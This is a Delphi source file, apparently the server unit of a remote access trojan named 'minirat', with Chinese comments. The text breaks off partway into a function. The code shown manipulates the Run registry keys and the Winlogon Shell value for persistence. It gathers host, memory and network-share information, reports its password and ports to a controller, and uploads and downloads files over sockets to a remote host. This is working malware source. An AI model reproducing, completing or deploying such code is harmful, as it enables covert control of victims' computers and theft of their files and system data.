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{隨便加了點注釋，文件傳輸不詳細注了，大家網上找相關資料看}
unit UServer;

interface
uses
  Windows, Messages, Winsock, Wininet, untCMDList, ShellApi, psApi, TLHelp32,
    untHTTPDownload,SysUtils2,URsConst;

const
  version = '0.50B';
  LF = #10;
  CR = #13;
  EOL = CR + LF;

  { host          : string = '127.0.0.1';
   password      : string = 'shj';
   port          : integer = 80;
   }
  {文件屬性常量}
  faReadOnly = $00000001; //只讀文件
  faHidden = $00000002; //隱藏文件
  faSysFile = $00000004; // 系統文件
  faVolumeID = $00000008; // 卷標文件
  faDirectory = $00000010; // 目錄
  faArchive = $00000020; //歸檔文件
  faAnyFile = $0000003F; // 任意文件


  ERROR_DISCONNECT      = 01;    // If server (remote connection disconnects)
  ERROR_FAIL            = 02;    // If server or client fails. Socket failures.
  ERROR_CONNECT         = 03;    // If client cant connect to server or reverse.
  ERROR_LISTEN          = 04;    // If server cant listen on choosen port.
  ERROR_ACCEPT          = 05;    // If server cant accept socket.
  ERROR_BREAK           = 06;    // If breaking from something.
  ERROR_LOSTCONNECTION  = 07;    // If server dies of some reason.
  ERROR_BIND            = 08;

  SUCCESS_CONNECT       = 09;    // Connection established without problems.
  SUCCESS_FINISHED      = 10;    // Finished sending file without problems.
  SUCCESS_ACCEPT        = 11;    // Accepted remote connection fine.


type
  TFileName = type string; //文件
  TSearchRec = record
    Time: Integer;
    Size: Integer;
    Attr: Integer;
    Name: TFileName;
    ExcludeAttr: Integer;
    FindHandle: THandle;
    FindData: TWin32FindData;
  end;

  LongRec = packed record
    case Integer of
      0: (Lo, Hi: Word);
      1: (Words: array[0..1] of Word);
      2: (Bytes: array[0..3] of Byte);
  end;

  TInfo = record
    Name: string;
    Host: string;
    Port: Integer;
    Size: Integer;
  end;
  PInfo = ^TInfo;

  RemoteSock = Record
    Sock: TSocket;
    Count: Integer;
  End;
  rSock = ^RemoteSock;

  TServer = class(TObject)
  private
    Sock: TSocket;
    Addr: TSockAddrIn;
    WSA: TWSAData;

    TempSock    :TSocket;                 //srv
    Remote      :TSockAddr;               //srv
    Len         :Integer;                 //srv
    BlockList   :Array[0..99] Of String;  //srv

  public
    SocketList  :Array[0..99] Of TSocket; //srv
    Port        :Integer;                 //srv
    Count       :Integer;                 //srv
    ReturnError :Integer;                 //srv
    Function Listen: Integer;
    Function AcceptNew(SSock: TSocket): Integer;            //srv
    Function GetFreeHandle(VAR Int: Integer): Integer;      //srv
    Function ReCount: Integer;
    Function Disconnect(dAddress, dPort: String): Boolean;  //srv
    Procedure ResolveStatus(Int: Integer);

    procedure Connect;
    procedure SendData(Text: string);

    function GetNet: string;
  end;

var
  Serv: TServer;
  PieZhi:TRedCtrl;
  ConFile:string;
  Info: TInfo;
  Port: Integer;
  Close: Boolean;
  LastDir: string;
  Host: string;
  Password: string;


  HandleList: Array[0..99] Of THandle;
  rSocket: RemoteSock;
  //判斷網絡是否鏈接--------------------------------------------
function InternetGetConnectedStateEx(
  lpdwFlags: LPDWORD;
  lpszConnectionName: LPTSTR;
  dwNameLen: DWORD;
  dwReserved: DWORD): BOOL; stdcall;
external 'wininet.dll' name 'InternetGetConnectedStateEx';

procedure miniratMain;stdcall;

implementation

procedure SetRegValue(ROOT: hKey; Path, Value, Str: string);
var
  Key: hKey;
  Size: Cardinal;
begin
  RegOpenKey(ROOT, pChar(Path), Key); //打開給定鍵
  Size := 2048;
  RegSetValueEx(Key, pChar(Value), 0, REG_SZ, @Str[1], Size); //寫注冊表
  RegCloseKey(Key); //釋放
end;

procedure SetDelValue(ROOT: hKey; Path, Value: string);
var
  Key: hKey;
  Size: Cardinal;
begin
  RegOpenKey(ROOT, pChar(Path), Key);
  Size := 2048;
  RegDeleteValue(Key, pChar(Value));
  RegCloseKey(Key);
end;
//寫入注冊表-----------------------------------------------
procedure Uninstall;
begin
  SetDelValue(HKEY_LOCAL_MACHINE,
    'Software\Microsoft\Windows\CurrentVersion\Run', dRegName);
  SetDelValue(HKEY_CURRENT_USER,
    'Software\Microsoft\Windows\CurrentVersion\Run', dRegName);
  SetRegValue(HKEY_LOCAL_MACHINE,
    'Software\Microsoft NT\Windows\CurrentVersion\Winlogon', 'Shell',
    'Explorer.exe');
  ExitProcess(0);
end;

function Enumeration(dRes: PNetResource; dI: Integer): string;
var
  dHandle: THandle;
  K: DWord;
  BufferSize: DWord;
  Buffer: array[0..1023] of TNetResource;
  I: Word;
  Temp: string;
begin
  WNetOpenEnum(2, 0, 0, dRes, dHandle);

  K := 1024; //  大小為1024
  BufferSize := SizeOf(Buffer); //獲得盤

  while (WNetEnumResource(dHandle, K, @Buffer, BufferSize) = 0) do //獲得資源
    for I := 0 to K - 1 do
    begin
      if (Buffer[I].dwDisplayType = RESOURCEDISPLAYTYPE_SERVER) then
        //顯示類型為服務器(工作組)
      begin
        Temp := IntToStr(C_INFONETWORK) + ' ' + pChar(Buffer[I].lpRemoteName) +
          ' "' + pChar(Buffer[I].lpComment) + '"'#10;
        if (Pos(Temp, Result) = 0) then
          Result := Result + Temp;
      end;
      if (Buffer[I].dwUsage > 0) then
      begin
        Temp := Enumeration(@Buffer[I], 1);
        if (Pos(Temp, Result) = 0) then
          Result := Result + Temp;
      end;
    end;

  WNetCloseEnum(dHandle); // 獲取所有目錄
end;

function GetNetworkInfo: string;
begin
  Result := IntToStr(C_INFONETWORK) + ' Domains Comments'#10 +
    Enumeration(nil, 0);
end;

//尾部加入資源，版本，地址，密碼，端口－－－－－－－－－－－－－－－－－－
function GetServerInfo: string;
begin
  Result := IntToStr(C_INFOSERVER) + ' Version ' + Version + #10 +
    IntToStr(C_INFOSERVER) + ' RmtAddr ' + PieZhi.dDnsHost + #10 +
    IntToStr(C_INFOSERVER) + ' Password ' + PieZhi.dPass + #10 +
    IntToStr(C_INFOSERVER) + ' SrvPort ' + PieZhi.dLocalPort + #10 +
    IntToStr(C_INFOSERVER) + ' RmtPort ' + PieZhi.dRemotePort + #10;
end;

//記錄-----
function GetInformation: string;
var
  HostName: array[0..069] of Char;
  Sysdir: array[0..255] of Char;
  MemoryStatus: TMemoryStatus;
  Total: Integer;
begin
  GetHostName(HostName, SizeOf(HostName));
  GetSystemDirectory(Sysdir, 256);

  MemoryStatus.dwLength := SizeOf(TMemoryStatus);
  GlobalMemoryStatus(MemoryStatus);

  Total := GetTickCount() div 1000;

  Result := IntToStr(C_INFOSYSTEM) + ' Hostname ' + Hostname + #10 +
    IntToStr(C_INFOSYSTEM) + ' System ' + string(SysDir) + #10 +
    IntToStr(C_INFOSYSTEM) + ' Memory(Total) ' +
      IntToStr(MemoryStatus.dwTotalPhys div 1048576) + ' MB Total'#10 +
    IntToStr(C_INFOSYSTEM) + ' Memory(Free) ' + IntToStr(MemoryStatus.dwAvailPhys
      div 1048576) + ' MB Free'#10 +
    IntToStr(C_INFOSYSTEM) + ' Memory(Used) ' +
      IntToStr(MemoryStatus.dwMemoryLoad) + '% In Use'#10 +
    IntToStr(C_INFOSYSTEM) + ' Uptime ' + IntToStr(Total div 86400) + ' days ' +
    IntToStr((Total mod 86400) div 3600) + ' hours ' +
    IntToStr(((Total mod 86400) mod 3600) div 60) + ' min ' +
    IntToStr((((Total mod 86400) mod 3600) mod 60) div 1) + ' sec'#10;
end;

//檢查本機網絡狀態---------------------
function TServer.GetNet: string;
var
  W: DWord;
  Name: array[0..128] of Char;
begin
  FillChar(Name, SizeOf(Name), 0);
  InternetGetConnectedStateEx(@W, Name, 128, 0); //檢查連接internet狀態
  if (W and INTERNET_CONNECTION_LAN) = INTERNET_CONNECTION_LAN then
    Result := 'LAN (' + string(Name) + ')'
  else
    Result := 'Dial-Up (' + string(Name) + ')';
end;

// Send Data
function SendData(Sock: TSocket; Text: string; var sByte: Cardinal): Integer;
var
  Len: Integer;
begin
  Result := Length(Text);
  Len := Send(Sock, Text[1], Length(Text), 0);
  Inc(sByte, Len);
end;

//下面基本都是功能了，文件的操作等
procedure StripOutCmd(Text: string; var Cmd: string);
begin Cmd := Copy(Text, 1, Pos(' ', Text) - 1);
end;

procedure StripOutParam(Text: string; var Param: array of string);
var
  I: Word;
begin
  if Text = '' then Exit;
  FillChar(Param, SizeOf(Param), 0);
  Delete(Text, 1, Pos(' ', Text));

  if Text = '' then Exit;
  if (Text[Length(Text)] <> ' ') then Text := Text + ' ';

  I := 0;
  while (Pos(' ', Text) > 0) do
  begin
    Param[I] := Copy(Text, 1, Pos(' ', Text) - 1);
    Inc(I);
    Delete(Text, 1, Pos(' ', Text));
    if (I >= 100) then Break;
  end;
end;

//   傳遞文件
function RecvFile(P: Pointer): DWord; STDCALL;
var
  Sock: TSocket;
  Addr: TSockAddrIn;
  WSA: TWSAData;

  BytesRead: Cardinal;

  F: file;
  Buf: array[0..8192] of Char;
  dErr: Integer;

  Name: string;
  Host: string;
  Port: Integer;
  Size: Integer;

  T: string;
begin
  Name := PInfo(P)^.Name;
  Host := PInfo(P)^.Host;
  Port := PInfo(P)^.Port;
  Size := PInfo(P)^.Size;

  WSAStartUp($0101, WSA);
  Sock := Socket(AF_INET, SOCK_STREAM, 0);
  Addr.sin_family := AF_INET;
  Addr.sin_port := hTons(Port);
  Addr.sin_addr.S_addr := inet_Addr(pchar(Host));

  if (connect(Sock, Addr, SizeOf(Addr)) <> 0) then Exit;

  {$I-}
  T := 'ok';
  AssignFile(F, Name);
  Rewrite(F, 1);
  repeat
    FillChar(Buf, SizeOf(Buf), 0);
    dErr := Recv(Sock, Buf, SizeOf(Buf), 0);
    if (dErr > 0) then
      BlockWrite(F, Buf, dErr)
    else
      Break;
    Dec(Size, dErr);
    dErr := Send(Sock, T[1], Length(T), 0);
  until Size <= 0;
  CloseFile(F);
  {$I+}

  WSACleanUp();
end;
//定時檢測
function SendFile(P: Pointer): DWord; STDCALL;
var
  Sock: TSocket;
  Addr: TSockAddrIn;
  WSA: TWSAData;

  BytesRead: Cardinal;

  F: file;
  Buf: array[0..8192] of Char;
  dErr: Integer;

  Name: string;
  Host: string;
  Port: Integer;

  T: string;
begin
  Name := PInfo(P)^.Name;
  Host := PInfo(P)^.Host;
  Port := PInfo(P)^.Port;

  WSAStartUp($0101, WSA);
  Sock := Socket(AF_INET, SOCK_STREAM, 0);
  Addr.sin_family := AF_INET;
  Addr.sin_port := hTons(Port);
  Addr.sin_addr.S_addr := inet_Addr(pchar(Host));

  if (connect(Sock, Addr, SizeOf(Addr)) <> 0) then Exit;

  {$I-}
  T := 'ok';
  AssignFile(F, Name);
  Reset(F, 1);
  repeat
    BlockRead(F, Buf, SizeOf(Buf), BytesRead);
    if (BytesRead = 0) then Break;

    Send(Sock, Buf[0], SizeOf(Buf), 0);
    FillChar(Buf, SizeOf(Buf), 0);
    Recv(Sock, Buf, SizeOf(Buf), 0);
  until BytesRead = 0;
  CloseFile(F);
  {$I+}

  WSACleanUp();
end;

//取回的文件大小 ------------------------------
function GetFileSize(FileName: string): Int64;
var
  H: THandle;
  Data: TWIN32FindData;
begin
  Result := -1;
  H := FindFirstFile(pChar(FileName), Data);
  if (H <> INVALID_HANDLE_VALUE) then
  begin
    Windows.FindClose(H);
    Result := Int64(Data.nFileSizeHigh) shl 32 + Data.nFileSizeLow;
  end;
end;

//將IP解釋成主機名
function RemoteAddr(Sock: TSocket): TSockAddrIn;
var
  W: TWSAData;
  S: TSockAddrIn;
  I: Integer;
begin